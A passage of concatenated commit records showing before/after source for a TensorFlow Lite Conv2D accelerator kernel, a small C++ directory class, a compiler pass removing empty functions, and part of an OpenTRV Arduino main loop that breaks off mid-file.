}\n }\n addr_base += num_filter_words_per_output;\n }\n}\n\n\/\/ Collects a single ouput value and optionally places it into memory\ninline void CollectValue(uint32_t*& p, int advance, bool write) {\n uint32_t val = cfu_get(REG_OUTPUT_WORD);\n if (write) {\n *p = val;\n p += advance;\n }\n}\n\n\/\/ Collects output from the accelerator into the output area\n\/\/ Collects one word per output pixel\nvoid CollectOutput(int channel, uint32_t* output, const int height,\n const int width, const int depth) {\n const int num_pixels = height * width;\n const int num_words_per_pixel = depth \/ 4;\n\n uint32_t* p = output + channel \/ 4;\n\n for (int pixel = 0; pixel < num_pixels; pixel += 4) {\n CollectValue(p, num_words_per_pixel, true);\n CollectValue(p, num_words_per_pixel, pixel + 1 < num_pixels);\n CollectValue(p, num_words_per_pixel, pixel + 2 < num_pixels);\n CollectValue(p, num_words_per_pixel, pixel + 3 < num_pixels);\n }\n}\n}; \/\/ namespace\n\nbool CanAccelerateConv4x4(const ConvParams& params,\n const RuntimeShape& input_shape,\n const RuntimeShape& filter_shape,\n const RuntimeShape& output_shape,\n const int32_t* bias_data) {\n \/\/ No padding allowed\n if (params.padding_type != PaddingType::kValid) return false;\n\n \/\/ Must have bias_data and single batch\n if (!bias_data) return false;\n const int batches = MatchingDim(input_shape, 0, output_shape, 0);\n if (batches != 1) return false;\n\n \/\/ Input and output depths must be a multiple of 16\n \/\/ NB: We could probably relax output depth to be a multiple of 4\n const int input_depth = input_shape.Dims(3);\n const int output_depth = output_shape.Dims(3);\n \/\/ if (input_depth % 16 != 0) return false;\n \/\/ if (output_depth % 16 != 0) return false;\n \/\/ Currently, only works where input and output depths are exactly 16\n if (input_depth != 16) return false;\n if (output_depth != 16) return false;\n\n \/\/ Must be 4x4\n const int filter_height = filter_shape.Dims(1);\n const int filter_width = filter_shape.Dims(2);\n if (filter_height != 4 || filter_width != 4) return false;\n\n \/\/ Must fit in filter word storag e\n const int num_filter_words = input_depth * output_depth * 4 * 4 \/ 4;\n if (num_filter_words > NUM_FILTER_STORES * FILTER_WORDS_PER_STORE)\n return false;\n\n \/\/ Dilation must be 1\n if (params.dilation_height_factor != 1 || params.dilation_width_factor != 1)\n return false;\n\n \/\/ Stride must be 1\n const int stride_width = params.stride_width;\n const int stride_height = params.stride_height;\n if (stride_height != 1 || stride_width != 1) return false;\n\n return true;\n}\n\n\/\/ Accelerated Conv2D\nvoid ConvPerChannel4x4(const ConvParams& params,\n const int32_t* output_multiplier,\n const int32_t* output_shift,\n const RuntimeShape& input_shape,\n const int8_t* input_data,\n const RuntimeShape& filter_shape,\n const int8_t* filter_data,\n const RuntimeShape& bias_shape, const int32_t* bias_data,\n const RuntimeShape& output_shape, int8_t* output_data) {\n \/\/ Calculates in trances of four channels (one output word)\n const int channels_per_tranche = 4;\n\n \/\/ Get parameters.\n const int32_t input_offset = params.input_offset; \/\/ r = s(q - Z)\n \/\/ TODO: handle stride\n \/\/ const int stride_width = params.stride_width;\n \/\/ const int stride_height = params.stride_height;\n \/\/ TODO: handle padding\n \/\/ const int pad_width = params.padding_values.width;\n \/\/ const int pad_height = params.padding_values.height;\n const int32_t output_offset = params.output_offset;\n\n \/\/ Set min and max value of the output.\n const int32_t output_activation_min = params.quantized_activation_min;\n const int32_t output_activation_max = params.quantized_activation_max;\n\n \/\/ Consistency checks\n TFLITE_DCHECK_LE(output_activation_min, output_activation_max);\n TFLITE_DCHECK_EQ(input_shape.DimensionsCount(), 4);\n TFLITE_DCHECK_EQ(filter_shape.DimensionsCount(), 4);\n TFLITE_DCHECK_EQ(output_shape.DimensionsCount(), 4);\n const int input_depth = MatchingDim(input_shape, 3, filter_shape, 3);\n const int output_depth = MatchingDim(filter_shape, 0, output_shape, 3);\n TFLITE_DCHECK_EQ(bias_shape.FlatSize(), output_depth);\n\n \/\/ Get dimensions of the tensors.\n const int input_width = input_shape.Dims(2);\n const int output_height = output_shape.Dims(1);\n const int output_width = output_shape.Dims(2);\n\n const int num_output_values_per_tranche =\n output_width * output_height * channels_per_tranche;\n\n \/\/ Filter words required to calculate each tranche\n const int filter_words_per_channel =\n filter_shape.Dims(1) * filter_shape.Dims(2) * filter_shape.Dims(3) \/ 4;\n const int filter_words_per_tranche =\n filter_words_per_channel * channels_per_tranche;\n\n \/\/ Base address is bank address (4 words per bank) within 256K arena\n uint32_t input_base_addr =\n (reinterpret_cast<uint32_t>(input_data) & 0x3ffff) \/ 16;\n\n for (int channel = 0; channel < output_depth;\n channel += channels_per_tranche) {\n \/\/ Reset to ensure important state is initialized\n cfu_set(REG_ACCELERATOR_RESET, 0);\n\n \/\/ Configure simple values\n cfu_set(REG_INPUT_OFFSET, input_offset);\n cfu_set(REG_NUM_FILTER_WORDS, filter_words_per_tranche \/ 2);\n cfu_set(REG_OUTPUT_OFFSET, output_offset);\n cfu_set(REG_OUTPUT_ACTIVATION_MIN, output_activation_min);\n cfu_set(REG_OUTPUT_ACTIVATION_MAX, output_activation_max);\n cfu_set(REG_INPUT_BASE_ADDR, input_base_addr);\n cfu_set(REG_NUM_PIXELS_X, output_width);\n cfu_set(REG_PIXEL_ADVANCE_X, input_depth \/ 16);\n cfu_set(REG_PIXEL_ADVANCE_Y, (input_depth \/ 16) * input_width);\n cfu_set(REG_INPUT_CHANNEL_DEPTH, input_depth);\n cfu_set(REG_OUTPUT_CHANNEL_DEPTH, channels_per_tranche);\n cfu_set(REG_NUM_OUTPUT_VALUES, num_output_values_per_tranche);\n\n LoadFourPostProcessParameters(channel, bias_data, output_shift,\n output_multiplier);\n LoadFourFilterData(channel, filter_shape,\n reinterpret_cast<const uint32_t*>(filter_data));\n\n \/\/ Start Accelerator\n cfu_set(REG_ACCELERATOR_START, 0);\n\n \/\/ Collect data\n CollectOutput(channel, reinterpret_cast<uint32_t*>(output_data),\n output_height, output_width, output_depth);\n }\n}\n\n} \/\/ namespace reference_integer_ops\n} \/\/ namespace tflite\n#endif \/\/ GATEWARE_GEN\n<commit_msg>gen2\/conv_accel_gen_2: Allow larger Conv2D ops<commit_after>\/*\n * Copyright 2021 The CFU-Playground Authors\n * Copyright 2019 The TensorFlow Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"tensorflow\/lite\/kernels\/internal\/reference\/integer_ops\/conv_accel_gen_2.h\"\n\n#include <cstdio>\n\n#include \"gateware_constants.h\"\n#include \"hps_cfu.h\"\n#include \"tensorflow\/lite\/kernels\/internal\/common.h\"\n\n#if GATEWARE_GEN == 2\n\nnamespace tflite {\nnamespace reference_integer_ops {\n\nnamespace {\n\n\/\/ Loads four post process parameters into the CFU\nvoid LoadFourPostProcessParameters(int channel_start, const int32_t* bias_data,\n const int32_t* output_shift,\n const int32_t* output_multiplier) {\n for (int i = channel_start; i < channel_start + 4; i++) {\n cfu_set(REG_POST_PROCESS_BIAS, bias_data[i]);\n \/\/ Note : shift is stored as a negative number in tflite model\n cfu_set(REG_POST_PROCESS_SHIFT, -output_shift[i]);\n cfu_set(REG_POST_PROCESS_MULTIPLIER, output_multiplier[i]);\n }\n}\n\n\/\/ Loads filter parameters, correctly split between the two\n\/\/ stores\nvoid LoadFourFilterData(int channel_start, const RuntimeShape& filter_shape,\n const uint32_t* data_base) {\n const int num_filter_words_per_output =\n filter_shape.Dims(1) * filter_shape.Dims(2) * filter_shape.Dims(3) \/ 4;\n const uint32_t* filter_data =\n data_base + channel_start * num_filter_words_per_output;\n\n size_t addr_base = 0;\n for (int i = channel_start; i < channel_start + 4; i += 2) {\n for (int store = 0; store < 2; store++) {\n uint32_t addr = addr_base;\n for (int j = 0; j < num_filter_words_per_output; j++) {\n uint32_t data = *filter_data++;\n cfu_setx(REG_FILTER_WRITE, (store << 16 | addr), data);\n addr++;\n }\n }\n addr_base += num_filter_words_per_output;\n }\n}\n\n\/\/ Collects a single ouput value and optionally places it into memory\ninline void CollectValue(uint32_t*& p, int advance, bool write) {\n uint32_t val = cfu_get(REG_OUTPUT_WORD);\n if (write) {\n *p = val;\n p += advance;\n }\n}\n\n\/\/ Collects output from the accelerator into the output area\n\/\/ Collects one word per output pixel\nvoid CollectOutput(int channel, uint32_t* output, const int height,\n const int width, const int depth) {\n const int num_pixels = height * width;\n const int num_words_per_pixel = depth \/ 4;\n\n uint32_t* p = output + channel \/ 4;\n\n for (int pixel = 0; pixel < num_pixels; pixel += 4) {\n CollectValue(p, num_words_per_pixel, true);\n CollectValue(p, num_words_per_pixel, pixel + 1 < num_pixels);\n CollectValue(p, num_words_per_pixel, pixel + 2 < num_pixels);\n CollectValue(p, num_words_per_pixel, pixel + 3 < num_pixels);\n }\n}\n}; \/\/ namespace\n\nbool CanAccelerateConv4x4(const ConvParams& params,\n const RuntimeShape& input_shape,\n const RuntimeShape& filter_shape,\n const RuntimeShape& output_shape,\n const int32_t* bias_data) {\n \/\/ No padding allowed\n if (params.padding_type != PaddingType::kValid) return false;\n\n \/\/ Must have bias_data and single batch\n if (!bias_data) return false;\n const int batches = MatchingDim(input_shape, 0, output_shape, 0);\n if (batches != 1) return false;\n\n \/\/ Input and output depths must be a multiples of 16 and 4\n const int input_depth = input_shape.Dims(3);\n const int output_depth = output_shape.Dims(3);\n if (input_depth % 16 != 0) return false;\n if (output_depth % 4 != 0) return false;\n\n \/\/ Must be 4x4\n const int filter_height = filter_shape.Dims(1);\n const int filter_width = filter_shape.Dims(2);\n if (filter_height != 4 || filter_width != 4) return false;\n\n \/\/ Must fit in filter word storage\n const int filter_values_per_output =\n input_depth * filter_height * filter_width;\n \/\/ Calculate 4 output values per tranche\n const int filter_values = 4 * filter_values_per_output;\n \/\/ 4 values per word\n const int filter_words = filter_values \/ 4;\n if (filter_words > NUM_FILTER_STORES * FILTER_WORDS_PER_STORE) return false;\n\n \/\/ Dilation must be 1\n if (params.dilation_height_factor != 1 || params.dilation_width_factor != 1)\n return false;\n\n \/\/ Stride must be 1\n const int stride_width = params.stride_width;\n const int stride_height = params.stride_height;\n if (stride_height != 1 || stride_width != 1) return false;\n\n return true;\n}\n\n\/\/ Accelerated Conv2D\nvoid ConvPerChannel4x4(const ConvParams& params,\n const int32_t* output_multiplier,\n const int32_t* output_shift,\n const RuntimeShape& input_shape,\n const int8_t* input_data,\n const RuntimeShape& filter_shape,\n const int8_t* filter_data,\n const RuntimeShape& bias_shape, const int32_t* bias_data,\n const RuntimeShape& output_shape, int8_t* output_data) {\n \/\/ Calculates in tranches of four channels (one output word)\n const int channels_per_tranche = 4;\n\n \/\/ Get parameters.\n const int32_t input_offset = params.input_offset; \/\/ r = s(q - Z)\n \/\/ TODO: handle stride\n \/\/ const int stride_width = params.stride_width;\n \/\/ const int stride_height = params.stride_height;\n \/\/ TODO: handle padding\n \/\/ const int pad_width = params.padding_values.width;\n \/\/ const int pad_height = params.padding_values.height;\n const int32_t output_offset = params.output_offset;\n\n \/\/ Set min and max value of the output.\n const int32_t output_activation_min = params.quantized_activation_min;\n const int32_t output_activation_max = params.quantized_activation_max;\n\n \/\/ Consistency checks\n TFLITE_DCHECK_LE(output_activation_min, output_activation_max);\n TFLITE_DCHECK_EQ(input_shape.DimensionsCount(), 4);\n TFLITE_DCHECK_EQ(filter_shape.DimensionsCount(), 4);\n TFLITE_DCHECK_EQ(output_shape.DimensionsCount(), 4);\n const int input_depth = MatchingDim(input_shape, 3, filter_shape, 3);\n const int output_depth = MatchingDim(filter_shape, 0, output_shape, 3);\n TFLITE_DCHECK_EQ(bias_shape.FlatSize(), output_depth);\n\n \/\/ Get dimensions of the tensors.\n const int input_width = input_shape.Dims(2);\n const int output_height = output_shape.Dims(1);\n const int output_width = output_shape.Dims(2);\n\n \/\/ Round up output values to next multiple of 16\n const int num_output_values_per_tranche =\n (output_width * output_height * channels_per_tranche + 15) \/ 16 * 16;\n\n \/\/ Filter words required to calculate each tranche\n const int filter_words_per_channel =\n filter_shape.Dims(1) * filter_shape.Dims(2) * filter_shape.Dims(3) \/ 4;\n const int filter_words_per_tranche =\n filter_words_per_channel * channels_per_tranche;\n\n \/\/ Base address is bank address (4 words per bank) within 256K arena\n uint32_t input_base_addr =\n (reinterpret_cast<uint32_t>(input_data) & 0x3ffff) \/ 16;\n\n for (int channel = 0; channel < output_depth;\n channel += channels_per_tranche) {\n \/\/ Reset to ensure important state is initialized\n cfu_set(REG_ACCELERATOR_RESET, 0);\n\n \/\/ Configure simple values\n cfu_set(REG_INPUT_OFFSET, input_offset);\n cfu_set(REG_NUM_FILTER_WORDS, filter_words_per_tranche \/ 2);\n cfu_set(REG_OUTPUT_OFFSET, output_offset);\n cfu_set(REG_OUTPUT_ACTIVATION_MIN, output_activation_min);\n cfu_set(REG_OUTPUT_ACTIVATION_MAX, output_activation_max);\n cfu_set(REG_INPUT_BASE_ADDR, input_base_addr);\n cfu_set(REG_NUM_PIXELS_X, output_width);\n cfu_set(REG_PIXEL_ADVANCE_X, input_depth \/ 16);\n cfu_set(REG_PIXEL_ADVANCE_Y, (input_depth \/ 16) * input_width);\n cfu_set(REG_INPUT_CHANNEL_DEPTH, input_depth);\n cfu_set(REG_OUTPUT_CHANNEL_DEPTH, channels_per_tranche);\n cfu_set(REG_NUM_OUTPUT_VALUES, num_output_values_per_tranche);\n\n LoadFourPostProcessParameters(channel, bias_data, output_shift,\n output_multiplier);\n LoadFourFilterData(channel, filter_shape,\n reinterpret_cast<const uint32_t*>(filter_data));\n\n \/\/ Start Accelerator\n cfu_set(REG_ACCELERATOR_START, 0);\n\n \/\/ Collect data\n CollectOutput(channel, reinterpret_cast<uint32_t*>(output_data),\n output_height, output_width, output_depth);\n }\n}\n\n} \/\/ namespace reference_integer_ops\n} \/\/ namespace tflite\n#endif \/\/ GATEWARE_GEN\n<|endoftext|>"} {"text":"<commit_before>\n#include \"rootdir.h\"\n\nRootDir::RootDir():m_dirs(0){\n m_dirs = new Dir[32];\n}\n\nRootDir::~RootDir(){\n delete []m_dirs;\n}\n\n<commit_msg>again getting rid of that hardcoded number<commit_after>\n#include \"rootdir.h\"\n\n#define DIR_ENTRIES 32\n\nRootDir::RootDir():m_dirs(0){\n m_dirs = new Dir[DIR_ENTRIES];\n}\n\nRootDir::~RootDir(){\n delete []m_dirs;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011-2013.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <vector>\n\n#include \"iterators.hpp\"\n#include \"logging.hpp\"\n#include \"GlobalContext.hpp\"\n\n#include \"mtac\/remove_empty_functions.hpp\"\n#include \"mtac\/Utils.hpp\"\n#include \"mtac\/Quadruple.hpp\"\n\nusing namespace eddic;\n\nbool mtac::remove_empty_functions::operator()(mtac::Program& program){\n std::vector<std::string> removed_functions;\n\n bool changes = false;\n\n auto it = iterate(program.functions);\n\n while(it.has_next()){\n auto& function = *it;\n\n if(function.is_main()){\n ++it;\n continue;\n }\n\n unsigned int statements = function.size_no_nop();\n\n if(statements == 0){\n program.context->stats().inc_counter(\"empty_function_removed\");\n LOG<Debug>(\"Optimizer\") << \"Remove empty function \" << function.get_name() << log::endl;\n changes = true;\n\n removed_functions.push_back(function.get_name());\n it.erase();\n } else {\n ++it;\n }\n }\n\n if(!removed_functions.empty()){\n for(auto& function : program.functions){\n for(auto& block : function){\n auto fit = block->statements.begin();\n\n while(fit != block->statements.end()){\n auto& quadruple = *fit;\n\n if(quadruple.op == mtac::Operator::CALL){\n auto function_name = quadruple.function().mangled_name();\n\n if(std::find(removed_functions.begin(), removed_functions.end(), function_name) != removed_functions.end()){\n \/\/Update the call graph\n --program.call_graph.edge(function.definition(), quadruple.function())->count;\n\n int parameters = quadruple.function().parameters().size();\n\n if(parameters > 0){\n \/\/The parameters are in the previous block\n if(fit == block->statements.begin()){\n auto previous = block->prev;\n\n auto fend = previous->statements.end();\n --fend;\n\n while(parameters > 0){\n fend = previous->statements.erase(fend);\n --fend;\n\n --parameters;\n }\n\n fit = block->statements.erase(fit);\n } \n \/\/The parameters are in the same block\n else {\n while(parameters >= 0){\n fit = block->statements.erase(fit);\n --fit;\n\n --parameters;\n }\n }\n\n } else {\n fit = block->statements.erase(fit);\n }\n\n continue;\n }\n }\n\n ++fit;\n }\n }\n }\n }\n\n return changes;\n}\n<commit_msg>STL Refactor<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011-2013.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <vector>\n\n#include \"iterators.hpp\"\n#include \"logging.hpp\"\n#include \"GlobalContext.hpp\"\n\n#include \"mtac\/remove_empty_functions.hpp\"\n#include \"mtac\/Utils.hpp\"\n#include \"mtac\/Quadruple.hpp\"\n\nusing namespace eddic;\n\nbool mtac::remove_empty_functions::operator()(mtac::Program& program){\n std::vector<std::string> removed_functions;\n\n program.functions.erase(std::remove_if(program.functions.begin(), program.functions.end(), \n [&program,&removed_functions](auto& function){\n if(!function.is_main() && function.size_no_nop() == 0){\n program.context->stats().inc_counter(\"empty_function_removed\");\n LOG<Debug>(\"Optimizer\") << \"Remove empty function \" << function.get_name() << log::endl;\n \n removed_functions.push_back(function.get_name());\n\n return true;\n }\n\n return false;\n }), program.functions.end());\n\n if(!removed_functions.empty()){\n for(auto& function : program.functions){\n for(auto& block : function){\n auto fit = block->statements.begin();\n\n while(fit != block->statements.end()){\n auto& quadruple = *fit;\n\n if(quadruple.op == mtac::Operator::CALL){\n auto function_name = quadruple.function().mangled_name();\n\n if(std::find(removed_functions.begin(), removed_functions.end(), function_name) != removed_functions.end()){\n \/\/Update the call graph\n --program.call_graph.edge(function.definition(), quadruple.function())->count;\n\n int parameters = quadruple.function().parameters().size();\n\n if(parameters > 0){\n \/\/The parameters are in the previous block\n if(fit == block->statements.begin()){\n auto previous = block->prev;\n\n auto fend = previous->statements.end();\n --fend;\n\n while(parameters > 0){\n fend = previous->statements.erase(fend);\n --fend;\n\n --parameters;\n }\n\n fit = block->statements.erase(fit);\n } \n \/\/The parameters are in the same block\n else {\n while(parameters >= 0){\n fit = block->statements.erase(fit);\n --fit;\n\n --parameters;\n }\n }\n\n } else {\n fit = block->statements.erase(fit);\n }\n\n continue;\n }\n }\n\n ++fit;\n }\n }\n }\n }\n\n return !removed_functions.empty();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Damon Hart-Davis 2014--2015\n*\/\n\n\/*\n Alternate POST \/ setup and loop \/ main for non-OpenTRV code running on OpenTRV h\/w platform.\n\n Also for rapid prototyping without dead-weight of OpenTRV intricate timing, etc!\n *\/\n\n#include \"V0p2_Main.h\"\n\n#include \"V0p2_Generic_Config.h\"\n#include \"V0p2_Board_IO_Config.h\" \/\/ I\/O pin allocation: include ahead of I\/O module headers.\n\n\/\/ Arduino libraries.\n\/\/#include <Wire.h>\n#ifdef ALLOW_CC1_SUPPORT\n#include <OTProtocolCC.h>\n#endif\n\n#include \"Control.h\"\n#include \"FHT8V_Wireless_Rad_Valve.h\"\n#include \"Power_Management.h\"\n#include \"RFM22_Radio.h\"\n#include \"Security.h\"\n#include \"Serial_IO.h\"\n#include \"UI_Minimal.h\"\n\n\n\n\n\/\/ Link in support for alternate Power On Self-Test and main loop if required.\n#if defined(ALT_MAIN_LOOP)\n\n\/\/ Mask for Port B input change interrupts.\n#define MASK_PB_BASIC 0b00000000 \/\/ Nothing.\n#ifdef PIN_RFM_NIRQ\n #if (PIN_RFM_NIRQ < 8) || (PIN_RFM_NIRQ > 15)\n #error PIN_RFM_NIRQ expected to be on port B\n #endif\n #define RFM23B_INT_MASK (1 << (PIN_RFM_NIRQ&7))\n #define MASK_PB (MASK_PB_BASIC | RFM23B_INT_MASK)\n#else\n #define MASK_PB MASK_PB_BASIC\n#endif\n\n\n\/\/\/\/ Mask for Port D input change interrupts.\n\/\/#define MASK_PD_BASIC 0b00000001 \/\/ Just RX.\n\/\/#if defined(ENABLE_VOICE_SENSOR)\n\/\/#if VOICE_NIRQ > 7\n\/\/#error voice interrupt on wrong port\n\/\/#endif\n\/\/#define VOICE_INT_MASK (1 << (VOICE_NIRQ&7))\n\/\/#define MASK_PD (MASK_PD_BASIC | VOICE_INT_MASK)\n\/\/#else\n\/\/#define MASK_PD MASK_PD_BASIC \/\/ Just RX.\n\/\/#endif\n\n\n\/\/ Called from startup() after some initial setup has been done.\n\/\/ Can abort with panic() if need be.\nvoid POSTalt()\n {\n#if defined(USE_MODULE_RFM22RADIOSIMPLE) \n \/\/ Initialise the radio, if configured, ASAP because it can suck a lot of power until properly initialised.\n static const OTRadioLink::OTRadioChannelConfig RFMConfig(FHT8V_RFM22_Reg_Values, true, true, true);\n RFM23B.preinit(NULL);\n \/\/ Check that the radio is correctly connected; panic if not...\n if(!RFM23B.configure(1, &RFMConfig) || !RFM23B.begin()) { panic(); }\n#endif\n\n \/\/ Force initialisation into low-power state.\n const int heat = TemperatureC16.read();\n#if 0 && defined(DEBUG)\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n#endif\n\/\/ const int light = AmbLight.read();\n\/\/#if 0 && defined(DEBUG)\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"light: \");\n\/\/ DEBUG_SERIAL_PRINT(light);\n\/\/ DEBUG_SERIAL_PRINTLN();\n\/\/#endif\n\n\n\n \/\/ Trailing setup for the run\n \/\/ --------------------------\n\n \/\/ Set up async edge interrupts.\n ATOMIC_BLOCK (ATOMIC_RESTORESTATE)\n {\n \/\/PCMSK0 = PB; PCINT 0--7 (LEARN1 and Radio)\n \/\/PCMSK1 = PC; PCINT 8--15\n \/\/PCMSK2 = PD; PCINT 16--24 (LEARN2 and MODE, RX)\n\n PCICR =\n#if defined(MASK_PB) && (MASK_PB != 0) \/\/ If PB interrupts required.\n 1 | \/\/ 0x1 enables PB\/PCMSK0.\n#endif\n#if defined(MASK_PC) && (MASK_PC != 0) \/\/ If PC interrupts required.\n 2 | \/\/ 0x2 enables PC\/PCMSK1.\n#endif\n#if defined(MASK_PD) && (MASK_PD != 0) \/\/ If PD interrupts required.\n 4 | \/\/ 0x4 enables PD\/PCMSK2.\n#endif\n 0;\n\n#if defined(MASK_PB) && (MASK_PB != 0) \/\/ If PB interrupts required.\n PCMSK0 = MASK_PB;\n#endif\n#if defined(MASK_PC) && (MASK_PC != 0) \/\/ If PC interrupts required.\n PCMSK1 = MASK_PC;\n#endif\n#if defined(MASK_PD) && (MASK_PD != 0) \/\/ If PD interrupts required.\n PCMSK2 = MASK_PD;\n#endif\n }\n\n\n RFM23B.listen(true);\n }\n\n\n#if defined(ALT_MAIN_LOOP)\n\n#if defined(MASK_PB) && (MASK_PB != 0) \/\/ If PB interrupts required.\n\/\/\/\/ Interrupt count. Marked volatile so safe to read without a lock as is a single byte.\n\/\/static volatile uint8_t intCountPB;\n\/\/ Previous state of port B pins to help detect changes.\nstatic volatile uint8_t prevStatePB;\n\/\/ Interrupt service routine for PB I\/O port transition changes.\nISR(PCINT0_vect)\n {\n\/\/ ++intCountPB;\n const uint8_t pins = PINB;\n const uint8_t changes = pins ^ prevStatePB;\n prevStatePB = pins;\n\n#if defined(RFM23B_INT_MASK)\n \/\/ RFM23B nIRQ falling edge is of interest.\n \/\/ Handler routine not required\/expected to 'clear' this interrupt.\n \/\/ TODO: try to ensure that OTRFM23BLink.handleInterruptSimple() is inlineable to minimise ISR prologue\/epilogue time and space.\n if((changes & RFM23B_INT_MASK) && !(pins & RFM23B_INT_MASK))\n { RFM23B.handleInterruptSimple(); }\n#endif\n\n }\n#endif\n\n#if defined(MASK_PC) && (MASK_PC != 0) \/\/ If PB interrupts required.\n\/\/ Previous state of port C pins to help detect changes.\nstatic volatile uint8_t prevStatePC;\n\/\/ Interrupt service routine for PC I\/O port transition changes.\nISR(PCINT1_vect)\n {\n\/\/ const uint8_t pins = PINC;\n\/\/ const uint8_t changes = pins ^ prevStatePC;\n\/\/ prevStatePC = pins;\n\/\/\n\/\/ ...\n }\n#endif\n\n#if defined(MASK_PD) && (MASK_PD != 0) \/\/ If PD interrupts required.\n\/\/ Previous state of port D pins to help detect changes.\nstatic volatile uint8_t prevStatePD;\n\/\/ Interrupt service routine for PD I\/O port transition changes (including RX).\nISR(PCINT2_vect)\n {\n\/\/ const uint8_t pins = PIND;\n\/\/ const uint8_t changes = pins ^ prevStatePD;\n\/\/ prevStatePD = pins;\n\/\/\n\/\/ ....\n }\n#endif\n\n#endif \/\/ ALT_MAIN\n\n\n\n\n\n\n\n\/\/ Called from loop().\nvoid loopAlt()\n {\n \/\/ Sleep in low-power mode (waiting for interrupts) until seconds roll.\n \/\/ NOTE: sleep at the top of the loop to minimise timing jitter\/delay from Arduino background activity after loop() returns.\n \/\/ DHD20130425: waking up from sleep and getting to start processing below this block may take >10ms.\n#if 0 && defined(DEBUG)\n DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"*E\"); \/\/ End-of-cycle sleep.\n#endif\n\n#if !defined(MIN_ENERGY_BOOT)\n OTV0P2BASE::powerDownSerial(); \/\/ Ensure that serial I\/O is off.\n \/\/ Power down most stuff (except radio for hub RX).\n minimisePowerWithoutSleep();\n#endif\n static uint_fast8_t TIME_LSD; \/\/ Controller's notion of seconds within major cycle.\n uint_fast8_t newTLSD;\n while(TIME_LSD == (newTLSD = OTV0P2BASE::getSecondsLT()))\n {\n \/\/ Poll I\/O and process message incrementally (in this otherwise idle time)\n \/\/ before sleep and on wakeup in case some IO needs further processing now,\n \/\/ eg work was accrued during the previous major slow\/outer loop\n \/\/ or the in a previous orbit of this loop sleep or nap was terminated by an I\/O interrupt.\n \/\/ Come back and have another go if work was done, until the next tick at most.\n if(handleQueuedMessages(&Serial, true, &RFM23B)) { continue; }\n\n\/\/ If missing h\/w interrupts for anything that needs rapid response\n\/\/ then AVOID the lowest-power long sleep.\n#if CONFIG_IMPLIES_MAY_NEED_CONTINUOUS_RX && !defined(PIN_RFM_NIRQ)\n#define MUST_POLL_FREQUENTLY true\n#else\n#define MUST_POLL_FREQUENTLY false\n#endif\n if(MUST_POLL_FREQUENTLY \/** && in hub mode *\/ )\n {\n \/\/ No h\/w interrupt wakeup on receipt of frame,\n \/\/ so can only sleep for a short time between explicit poll()s,\n \/\/ though allow wake on interrupt anyway to minimise loop timing jitter.\n OTV0P2BASE::nap(WDTO_15MS, true);\n }\n else\n {\n \/\/ Normal long minimal-power sleep until wake-up interrupt.\n \/\/ Rely on interrupt to force fall through to I\/O poll() below.\n OTV0P2BASE::sleepUntilInt();\n }\n\/\/ DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"w\"); \/\/ Wakeup.\n\n\/\/ idle15AndPoll(); \/\/ Attempt to crash the board!\n\n }\n TIME_LSD = newTLSD;\n\n#if 0 && defined(DEBUG)\n DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"*S\"); \/\/ Start-of-cycle wake.\n#endif\n\n\n \/\/ START LOOP BODY\n \/\/ ===============\n\n\/\/ DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"*\");\n\n\/\/ \/\/ Power up serial for the loop body.\n\/\/ \/\/ May just want to turn it on in POSTalt() and leave it on...\n\/\/ const bool neededWaking = powerUpSerialIfDisabled();\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE)\n\/\/ \/\/ Try for double TX for more robust conversation with valve?\n\/\/ const bool doubleTXForFTH8V = false;\n\/\/ \/\/ FHT8V is highest priority and runs first.\n\/\/ \/\/ ---------- HALF SECOND #0 -----------\n\/\/ bool useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_First(doubleTXForFTH8V); \/\/ Time for extra TX before UI.\n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@0\"); }\n\/\/#endif\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE)\n\/\/ if(useExtraFHT8VTXSlots)\n\/\/ {\n\/\/ \/\/ Time for extra TX before other actions, but don't bother if minimising power in frost mode.\n\/\/ \/\/ ---------- HALF SECOND #1 -----------\n\/\/ useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_Next(doubleTXForFTH8V); \n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@1\"); }\n\/\/ }\n\/\/#endif\n\n\n\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE) && 